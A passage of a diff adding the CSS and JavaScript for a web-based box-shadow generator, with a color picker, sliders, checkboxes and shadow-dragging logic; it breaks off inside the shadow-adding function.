+}
+
+#colorpicker #alpha {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/5703/alpha_mask.png");
+	background: -moz-linear-gradient(left, rgba(255, 0, 0, 0) 0%, rgba(255, 0, 0, 1) 100%);
+}
+
+#colorpicker #gradient_picker {
+	width: 0.5em;
+	height: 0.5em;
+	border-radius: 0.4em;
+	border: 2px solid #CCC;
+	position: relative;
+	top: 20%;
+	left: 20%;
+}
+
+#colorpicker #hue_selector,
+#colorpicker #alpha_selector {
+	width: 3px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+	left: 0%;
+}
+
+/* input HSV and RGB */
+#colorpicker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+#colorpicker .info * {
+	float: left;
+}
+
+#colorpicker .info input {
+	margin: 0;
+	text-align: center;
+	width: 30px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+#colorpicker .info span {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	line-height: 20px;
+	display: block;
+}
+
+/* Preview color */
+#colorpicker .block {
+	width: 95px;
+	height: 54px;
+	float: left;
+	position: relative;
+}
+
+#colorpicker .preview {
+	margin: 5px;
+	border: 1px solid #CCC;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#colorpicker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+#colorpicker .preview > * {
+	width: 50%;
+	height: 100%;
+}
+
+#colorpicker #output_color {
+	width: 100%;
+	height: 100%;
+	position: absolute;
+	z-index: 2;
+}
+
+#colorpicker .block .input {
+	float: right;
+}
+
+#colorpicker [data-topic="a"] > span {
+	width: 50px;
+}
+
+#colorpicker [data-topic="hexa"] {
+	float: right;
+	margin: 10px 0 0 0;
+}
+
+#colorpicker [data-topic="hexa"] > span {
+	display: none;
+}
+
+#colorpicker [data-topic="hexa"] > input {
+	width: 85px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/*
+ * UI Components
+ */
+
+/* Property */
+
+.property {
+	height: 20px;
+	margin: 10px 0;
+}
+
+.property * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Slider */
+
+#controls .ui-slider-name {
+	margin: 0 10px 0 0;
+}
+
+/*
+ * Output code styling
+ */
+
+#output {
+	position: relative;
+}
+
+#output .menu {
+	max-width: 70%;
+	height: 20px;
+	position: absolute;
+	top: 2px;
+}
+
+#output .button {
+	width: 90px;
+	height: 22px;
+	margin: 0 5px 0 0;
+	text-align: center;
+	line-height: 20px;
+	font-size: 14px;
+	color: #FFF;
+	background-color: #999;
+	border-top-left-radius: 3px;
+	border-top-right-radius: 3px;
+	bottom: -5px;
+	float:left;
+}
+
+#output .button:hover {
+	color: #FFF;
+	background-color: #666;
+	cursor: pointer;
+}
+
+#output .menu [data-active="true"] {
+	color: #777;
+	background-color: #FFF;
+	border: 1px solid #CCC;
+	border-bottom: none;
+}
+
+#output .menu [data-topic="before"] {
+	left: 100px;
+}
+
+#output .menu [data-topic="after"] {
+	left: 200px;
+}
+
+#output .output {
+	width: 480px;
+	margin: 10px;
+	padding: 10px;
+	overflow: hidden;
+	color: #555;
+	font-size: 14px;
+	border: 1px dashed #CCC;
+	border-radius: 3px;
+	display: none;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+#output .css-property {
+	width: 100%;
+	float: left;
+	white-space: pre;
+}
+
+#output .name {
+	width: 35%;
+	float: left;
+}
+
+#output .value {
+	width: 65%;
+	float: left;
+}
+
+
+ +

JavaScript Content

+ +

+
+'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var SliderManager = (function SliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var Slider = function(node) {
+		var min = node.getAttribute('data-min') | 0;
+		var max = node.getAttribute('data-max') | 0;
+		var step = node.getAttribute('data-step') | 0;
+		var value = node.getAttribute('data-value') | 0;
+		var snap = node.getAttribute('data-snap');
+		var topic = node.getAttribute('data-topic');
+
+		this.min = min;
+		this.max = max > 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.value = value <= max && value >= min ? value : (min + max) / 2 | 0;
+		this.snap = snap === "true" ? true : false;
+		this.topic = topic;
+		this.node = node;
+
+		var pointer = document.createElement('div');
+		pointer.className = 'ui-slider-pointer';
+		node.appendChild(pointer);
+		this.pointer = pointer;
+
+		setMouseTracking(node, updateSlider.bind(this));
+
+		sliders[topic] = this;
+		setValue(topic, this.value);
+	}
+
+	var setButtonComponent = function setButtonComponent(node) {
+		var type = node.getAttribute('data-type');
+		var topic = node.getAttribute('data-topic');
+		if (type === "sub") {
+			node.textContent = '-';
+			node.addEventListener("click", function() {
+				decrement(topic);
+			});
+		}
+		if (type === "add") {
+			node.textContent = '+';
+			node.addEventListener("click", function() {
+				increment(topic);
+			});
+		}
+	}
+
+	var setInputComponent = function setInputComponent(node) {
+		var topic		= node.getAttribute('data-topic');
+		var unit_type	= node.getAttribute('data-unit');
+
+		var input = document.createElement('input');
+		var unit = document.createElement('span');
+		unit.textContent = unit_type;
+
+		input.setAttribute('type', 'text');
+		node.appendChild(input);
+		node.appendChild(unit);
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			setValue(topic, e.target.value | 0);
+		});
+
+		subscribe(topic, function(value) {
+			node.children[0].value = value;
+		});
+	}
+
+	var increment = function increment(topic) {
+		var slider = sliders[topic];
+		if (slider === null || slider === undefined)
+			return;
+
+		if (slider.value + slider.step <= slider.max) {
+			slider.value += slider.step;
+			setValue(slider.topic, slider.value)
+			notify.call(slider);
+		}
+	};
+
+	var decrement = function decrement(topic) {
+		var slider = sliders[topic];
+		if (slider === null || slider === undefined)
+			return;
+
+		if (slider.value - slider.step >= slider.min) {
+			slider.value -= slider.step;
+			setValue(topic, slider.value)
+			notify.call(slider);
+		}
+	}
+
+	// this = Slider object
+	var updateSlider = function updateSlider(e) {
+		var node = this.node;
+		var pos = e.pageX - node.offsetLeft;
+		var width = node.clientWidth;
+		var delta = this.max - this.min;
+		var offset = this.pointer.clientWidth + 4; // border width * 2
+
+		if (pos < 0) pos = 0;
+		if (pos > width) pos = width;
+
+		var value = pos * delta / width | 0;
+		var precision = value % this.step;
+		value = value - precision + this.min;
+		if (precision > this.step / 2)
+			value = value + this.step;
+
+		if (this.snap)
+			pos =  (value - this.min) * width / delta;
+
+		this.pointer.style.left = pos - offset/2 + "px";
+		this.value = value;
+		node.setAttribute('data-value', value);
+		notify.call(this);
+	}
+
+	var setValue = function setValue(topic, value) {
+		var slider = sliders[topic];
+
+		if (value > slider.max || value < slider.min)
+			return;
+
+		var delta = slider.max - slider.min;
+		var width = slider.node.clientWidth;
+		var offset = slider.pointer.clientWidth;
+		var pos =  (value - slider.min) * width / delta;
+		slider.value = value;
+		slider.pointer.style.left = pos - offset / 2 + "px";
+		slider.node.setAttribute('data-value', value);
+		notify.call(slider);
+	}
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener("mousedown", function(e) {
+			callback(e);
+			document.addEventListener("mousemove", callback);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", callback);
+		});
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem, size;
+
+		elem = document.querySelectorAll('.ui-slider-btn-set');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			setButtonComponent(elem[i]);
+
+		elem = document.querySelectorAll('.ui-slider-input');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			setInputComponent(elem[i]);
+
+		elem = document.querySelectorAll('.ui-slider');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			new Slider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+			notify.call(buttons[topic]);
+		}
+		catch(error) {
+			console.log(error, topic, value);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function(){
+	BoxShadow.init();
+});
+
+var BoxShadow = (function BoxShadow() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * RGBA Color class
+	 */
+
+	function Color() {
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log("Typeof instance not Color");
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+	}
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (red != undefined)
+			this.r = red | 0;
+		if (green != undefined)
+			this.g = green | 0;
+		if (blue != undefined)
+			this.b = blue | 0;
+		if (alpha != undefined)
+			this.a = alpha | 0;
+	}
+
+	/**
+	 * HSV/HSB (hue, saturation, value / brightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 */
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.updateRGB();
+	}
+
+	Color.prototype.updateRGB = function updateRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision;
+		X = (X + m) * precision;
+		m = m * precision;
+
+		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
+		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
+		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
+		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
+		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
+		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
+	}
+
+	Color.prototype.updateHSV = function updateHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue < 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	}
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value)
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,"$1$1$2$2$3$3");
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+	}
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r < 16) r = '0' + r;
+		if (this.g < 16) g = '0' + g;
+		if (this.b < 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	}
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = "(" + this.r + ", " + this.g + ", " + this.b;
+		var a = '';
+		var v = '';
+		if (this.a !== 1) {
+			a = 'a';
+			v = ', ' + this.a;
+		}
+
+		var value = "rgb" + a + rgb + v + ")";
+		return value;
+	}
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	}
+
+	/**
+	 * Shadow Object
+	 */
+	function Shadow() {
+		this.inset  = false;
+		this.posX   = 5;
+		this.posY   = -5;
+		this.blur   = 5;
+		this.spread = 0;
+		this.color  = new Color();
+
+		var hue			= (Math.random() * 360) | 0;
+		var saturation	= (Math.random() * 75) | 0;
+		var value 		= (Math.random() * 50 + 50) | 0;
+		this.color.setHSV(hue, saturation, value, 1);
+	}
+
+	Shadow.prototype.computeCSS = function computeCSS() {
+		var value = "";
+		if (this.inset === true)
+			value += "inset ";
+		value += this.posX + "px ";
+		value += this.posY + "px ";
+		value += this.blur + "px ";
+		value += this.spread + "px ";
+		value += this.color.getColor();
+
+		return value;
+	}
+
+	Shadow.prototype.toggleInset = function toggleInset(value) {
+		if (value !== undefined || typeof value === "boolean")
+			this.inset = value;
+		else
+			this.inset = this.inset === true ? false : true;
+	}
+
+	Shadow.prototype.copy = function copy(obj) {
+		if(obj instanceof Shadow !== true) {
+			console.log("Typeof instance not Shadow");
+			return;
+		}
+
+		this.inset  = obj.inset;
+		this.posX   = obj.posX;
+		this.posY   = obj.posY;
+		this.blur   = obj.blur;
+		this.spread = obj.spread;
+		this.color.copy(obj.color);
+	}
+
+	/**
+	 * Color Picker
+	 */
+	var ColoPicker = (function ColoPicker() {
+
+		var colorpicker;
+		var hue_area;
+		var gradient_area;
+		var alpha_area;
+		var gradient_picker;
+		var hue_selector;
+		var alpha_selector;
+		var pick_object;
+		var info_rgb;
+		var info_hsv;
+		var info_hexa;
+		var output_color;
+		var color = new Color();
+		var subscribers = [];
+
+		var updateColor = function updateColor(e) {
+			var x = e.pageX - gradient_area.offsetLeft;
+			var y = e.pageY - gradient_area.offsetTop;
+
+			// width and height should be the same
+			var size = gradient_area.clientWidth;
+
+			if (x > size)
+				x = size;
+			if (y > size)
+				y = size;
+
+			if (x < 0) x = 0;
+			if (y < 0) y = 0;
+
+			var value = 100 - (y * 100 / size) | 0;
+			var saturation = x * 100 / size | 0;
+
+			color.setHSV(color.hue, saturation, value);
+			// should update just
+			// color pointer location
+			updateUI();
+			notify("color", color);
+		}
+
+		var updateHue = function updateHue(e) {
+			var x = e.pageX - hue_area.offsetLeft;
+			var width = hue_area.clientWidth;
+
+			if (x < 0) x = 0;
+			if (x > width) x = width;
+
+			var hue = ((360 * x) / width) | 0;
+			if (hue === 360) hue = 359;
+
+			color.setHSV(hue, color.saturation, color.value);
+
+			// should update just
+			// hue pointer location
+			// picker area background
+			// alpha area background
+			updateUI();
+			notify("color", color);
+		}
+
+		var updateAlpha = function updateAlpha(e) {
+			var x = e.pageX - alpha_area.offsetLeft;
+			var width = alpha_area.clientWidth;
+
+			if (x < 0) x = 0;
+			if (x > width) x = width;
+
+			color.a = (x / width).toFixed(2);
+
+			// should update just
+			// alpha pointer location
+			updateUI();
+			notify("color", color);
+		}
+
+		var setHueGfx = function setHueGfx(hue) {
+			var sat = color.saturation;
+			var val = color.value;
+			var alpha = color.a;
+
+			color.setHSV(hue, 100, 100);
+			gradient_area.style.backgroundColor = color.getHexa();
+
+			color.a = 0;
+			var start = color.getRGBA();
+			color.a = 1;
+			var end = color.getRGBA();
+			color.a = alpha;
+
+			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
+			alpha_area.style.background = gradient;
+		}
+
+		var updateUI = function updateUI() {
+			var x, y;		// coordinates
+			var size;		// size of the area
+			var offset;		// pointer graphic selector offset
+
+			// Set color pointer location
+			size = gradient_area.clientWidth;
+			offset = gradient_picker.clientWidth / 2 + 2;
+
+			x = (color.saturation * size / 100) | 0;
+			y = size - (color.value * size / 100) | 0;
+
+			gradient_picker.style.left = x - offset + "px";
+			gradient_picker.style.top = y - offset + "px";
+
+			// Set hue pointer location
+			size = hue_area.clientWidth;
+			offset = hue_selector.clientWidth/2;
+			x = (color.hue * size / 360 ) | 0;
+			hue_selector.style.left = x - offset + "px";
+
+			// Set alpha pointer location
+			size = alpha_area.clientWidth;
+			offset = alpha_selector.clientWidth/2;
+			x = (color.a * size) | 0;
+			alpha_selector.style.left = x - offset + "px";
+
+			// Set picker area background
+			var nc = new Color();
+			nc.copy(color);
+			if (nc.hue === 360) nc.hue = 0;
+			nc.setHSV(nc.hue, 100, 100);
+			gradient_area.style.backgroundColor = nc.getHexa();
+
+			// Set alpha area background
+			nc.copy(color);
+			nc.a = 0;
+			var start = nc.getRGBA();
+			nc.a = 1;
+			var end = nc.getRGBA();
+			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
+			alpha_area.style.background = gradient;
+
+			// Update color info
+			notify("color", color);
+			notify("hue", color.hue);
+			notify("saturation", color.saturation);
+			notify("value", color.value);
+			notify("r", color.r);
+			notify("g", color.g);
+			notify("b", color.b);
+			notify("a", color.a);
+			notify("hexa", color.getHexa());
+			output_color.style.backgroundColor = color.getRGBA();
+		}
+
+		var setInputComponent = function setInputComponent(node) {
+			var topic = node.getAttribute('data-topic');
+			var title = node.getAttribute('data-title');
+			var action = node.getAttribute('data-action');
+			title = title === null ? '' : title;
+
+			var input = document.createElement('input');
+			var info = document.createElement('span');
+			info.textContent = title;
+
+			input.setAttribute('type', 'text');
+			input.setAttribute('data-action', 'set-' + action + '-' + topic);
+			node.appendChild(info);
+			node.appendChild(input);
+
+			input.addEventListener('click', function(e) {
+				this.select();
+			});
+
+			input.addEventListener('change', function(e) {
+				if (action === 'HSV')
+					inputChangeHSV(topic);
+				if (action === 'RGB')
+					inputChangeRGB(topic);
+				if (action === 'alpha')
+					inputChangeAlpha(topic);
+				if (action === 'hexa')
+					inputChangeHexa(topic);
+			});
+
+			subscribe(topic, function(value) {
+				node.children[1].value = value;
+			});
+		}
+
+		var inputChangeHSV = function actionHSV(topic) {
+			var selector = "[data-action='set-HSV-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseInt(node.value);
+
+			if (typeof value === 'number' && isNaN(value) === false &&
+				value >= 0 && value < 360)
+				color[topic] = value;
+
+			color.updateRGB();
+			updateUI();
+		}
+
+		var inputChangeRGB = function inputChangeRGB(topic) {
+			var selector = "[data-action='set-RGB-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseInt(node.value);
+
+			if (typeof value === 'number' && isNaN(value) === false &&
+				value >= 0 && value <= 255)
+				color[topic] = value;
+
+			color.updateHSV();
+			updateUI();
+		}
+
+		var inputChangeAlpha = function inputChangeAlpha(topic) {
+			var selector = "[data-action='set-alpha-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseFloat(node.value);
+
+			if (typeof value === 'number' && isNaN(value) === false &&
+				value >= 0 && value <= 1)
+				color.a = value.toFixed(2);
+
+			updateUI();
+		}
+
+		var inputChangeHexa = function inputChangeHexa(topic) {
+			var selector = "[data-action='set-hexa-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = node.value;
+			color.setHexa(value);
+			color.updateHSV();
+			updateUI();
+		}
+
+		var setMouseTracking = function setMouseTracking(elem, callback) {
+
+			elem.addEventListener("mousedown", function(e) {
+				callback(e);
+				document.addEventListener("mousemove", callback);
+			});
+
+			document.addEventListener("mouseup", function(e) {
+				document.removeEventListener("mousemove", callback);
+			});
+		}
+
+		/*
+		 * Observer
+		 */
+		var setColor = function setColor(obj) {
+			if(obj instanceof Color !== true) {
+				console.log("Typeof instance not Color");
+				return;
+			}
+			color.copy(obj);
+			updateUI();
+		}
+
+		var subscribe = function subscribe(topic, callback) {
+			if (subscribers[topic] === undefined)
+				subscribers[topic] = [];
+
+			subscribers[topic].push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(topic, value) {
+			for (var i in subscribers[topic])
+				subscribers[topic][i](value);
+		}
+
+		var init = function init() {
+			colorpicker		= getElemById("colorpicker");
+			hue_area		= getElemById("hue");
+			gradient_area	= getElemById("gradient");
+			alpha_area		= getElemById("alpha");
+			gradient_picker	= getElemById("gradient_picker");
+			hue_selector	= getElemById("hue_selector");
+			alpha_selector	= getElemById("alpha_selector");
+			output_color	= getElemById("output_color");
+
+			var elem = document.querySelectorAll('#colorpicker .input');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				setInputComponent(elem[i]);
+
+			setMouseTracking(gradient_area, updateColor);
+			setMouseTracking(hue_area, updateHue);
+			setMouseTracking(alpha_area, updateAlpha);
+
+		}
+
+		return {
+			init : init,
+			setColor : setColor,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	/*
+	 * Element Class
+	 */
+	var CssClass = function CssClass(id) {
+		this.left = 0;
+		this.top = 0;
+		this.rotate = 0;
+		this.width = 300;
+		this.height = 100;
+		this.display = true;
+		this.border = true;
+		this.zIndex = -1;
+		this.bgcolor = new Color();
+		this.id = id;
+		this.node = getElemById('obj-' + id);
+		this.object = getElemById(id);
+		this.shadowID = null;
+		this.shadows = []
+		this.render = [];
+		this.init();
+	}
+
+	CssClass.prototype.init = function init() {
+		this.left = ((this.node.parentNode.clientWidth - this.node.clientWidth) / 2) | 0;
+		this.top = ((this.node.parentNode.clientHeight - this.node.clientHeight) / 2) | 0;
+
+		this.setTop(this.top);
+		this.setLeft(this.left);
+		this.setHeight(this.height);
+		this.setWidth(this.width);
+		this.bgcolor.setHSV(0, 0, 100);
+		this.updateBgColor(this.bgcolor);
+	}
+
+	CssClass.prototype.updatePos = function updatePos(deltaX, deltaY) {
+		this.left += deltaX;
+		this.top += deltaY;
+		this.node.style.top = this.top + "px";
+		this.node.style.left = this.left + "px";
+		SliderManager.setValue("left", this.left);
+		SliderManager.setValue("top", this.top);
+	}
+
+	CssClass.prototype.setLeft = function setLeft(value) {
+		this.left = value;
+		this.node.style.left = this.left + "px";
+		OutputManager.updateProperty(this.id, 'left', this.left + 'px');
+	}
+
+	CssClass.prototype.setTop = function setTop(value) {
+		this.top = value;
+		this.node.style.top = this.top + 'px';
+		OutputManager.updateProperty(this.id, 'top', this.top + 'px');
+	}
+
+	CssClass.prototype.setWidth = function setWidth(value) {
+		this.width = value;
+		this.node.style.width = this.width + 'px';
+		OutputManager.updateProperty(this.id, 'width', this.width + 'px');
+	}
+
+	CssClass.prototype.setHeight = function setHeight(value) {
+		this.height = value;
+		this.node.style.height = this.height + 'px';
+		OutputManager.updateProperty(this.id, 'height', this.height + 'px');
+	}
+
+	// Browser support
+	CssClass.prototype.setRotate = function setRotate(value) {
+		var cssvalue = 'rotate(' + value +'deg)';
+
+		this.node.style.transform = cssvalue;
+		this.node.style.webkitTransform = cssvalue;
+		this.node.style.msTransform = cssvalue;
+
+		if (value !== 0) {
+			if (this.rotate === 0) {
+				OutputManager.toggleProperty(this.id, 'transform', true);
+				OutputManager.toggleProperty(this.id, '-webkit-transform', true);
+				OutputManager.toggleProperty(this.id, '-ms-transform', true);
+			}
+		}
+		else {
+			OutputManager.toggleProperty(this.id, 'transform', false);
+			OutputManager.toggleProperty(this.id, '-webkit-transform', false);
+			OutputManager.toggleProperty(this.id, '-ms-transform', false);
+		}
+
+		OutputManager.updateProperty(this.id, 'transform', cssvalue);
+		OutputManager.updateProperty(this.id, '-webkit-transform', cssvalue);
+		OutputManager.updateProperty(this.id, '-ms-transform', cssvalue);
+		this.rotate = value;
+	}
+
+	CssClass.prototype.setzIndex = function setzIndex(value) {
+		this.node.style.zIndex = value;
+		OutputManager.updateProperty(this.id, 'z-index', value);
+		this.zIndex = value;
+	}
+
+	CssClass.prototype.toggleDisplay = function toggleDisplay(value) {
+		if (typeof value !== "boolean" || this.display === value)
+			return;
+
+		this.display = value;
+		var display = this.display === true ? "block" : "none";
+		this.node.style.display = display;
+		this.object.style.display = display;
+	}
+
+	CssClass.prototype.toggleBorder = function toggleBorder(value) {
+		if (typeof value !== "boolean" || this.border === value)
+			return;
+
+		this.border = value;
+		var border = this.border === true ? "1px solid #CCC" : "none";
+		this.node.style.border = border;
+	}
+
+	CssClass.prototype.updateBgColor = function updateBgColor(color) {
+		this.bgcolor.copy(color);
+		this.node.style.backgroundColor = color.getColor();
+		OutputManager.updateProperty(this.id, 'background-color', color.getColor());
+	}
+
+	CssClass.prototype.updateShadows = function updateShadows() {
+		if (this.render.length === 0)
+			OutputManager.toggleProperty(this.id, 'box-shadow', false);
+		if (this.render.length === 1)
+			OutputManager.toggleProperty(this.id, 'box-shadow', true);
+
+		this.node.style.boxShadow = this.render.join(", ");
+		OutputManager.updateProperty(this.id, 'box-shadow', this.render.join(", \n"));
+
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+
+		var preview;
+		var classes = [];
+		var active = null;
+		var animate = false;
+
+		/*
+		 * Toll actions
+		 */
+		var addCssClass = function addCssClass(id) {
+			classes[id] = new CssClass(id);
+		}
+
+		var setActiveClass = function setActiveClass(id) {
+			active = classes[id];
+			active.shadowID = null;
+			ColoPicker.setColor(classes[id].bgcolor);
+			SliderManager.setValue("top", active.top);
+			SliderManager.setValue("left", active.left);
+			SliderManager.setValue("rotate", active.rotate);
+			SliderManager.setValue("z-index", active.zIndex);
+			SliderManager.setValue("width", active.width);
+			SliderManager.setValue("height", active.height);
+			ButtonManager.setValue("border-state", active.border);
+			active.updateShadows();
+		}
+
+		var disableClass = function disableClass(topic) {
+			classes[topic].toggleDisplay(false);
+			ButtonManager.setValue(topic, false);
+		}
+
+		var addShadow = function addShadow(position) {
+			if (animate === true)
+				return -1;
+
+			active.shadows.splice(position, 0, new Shadow());
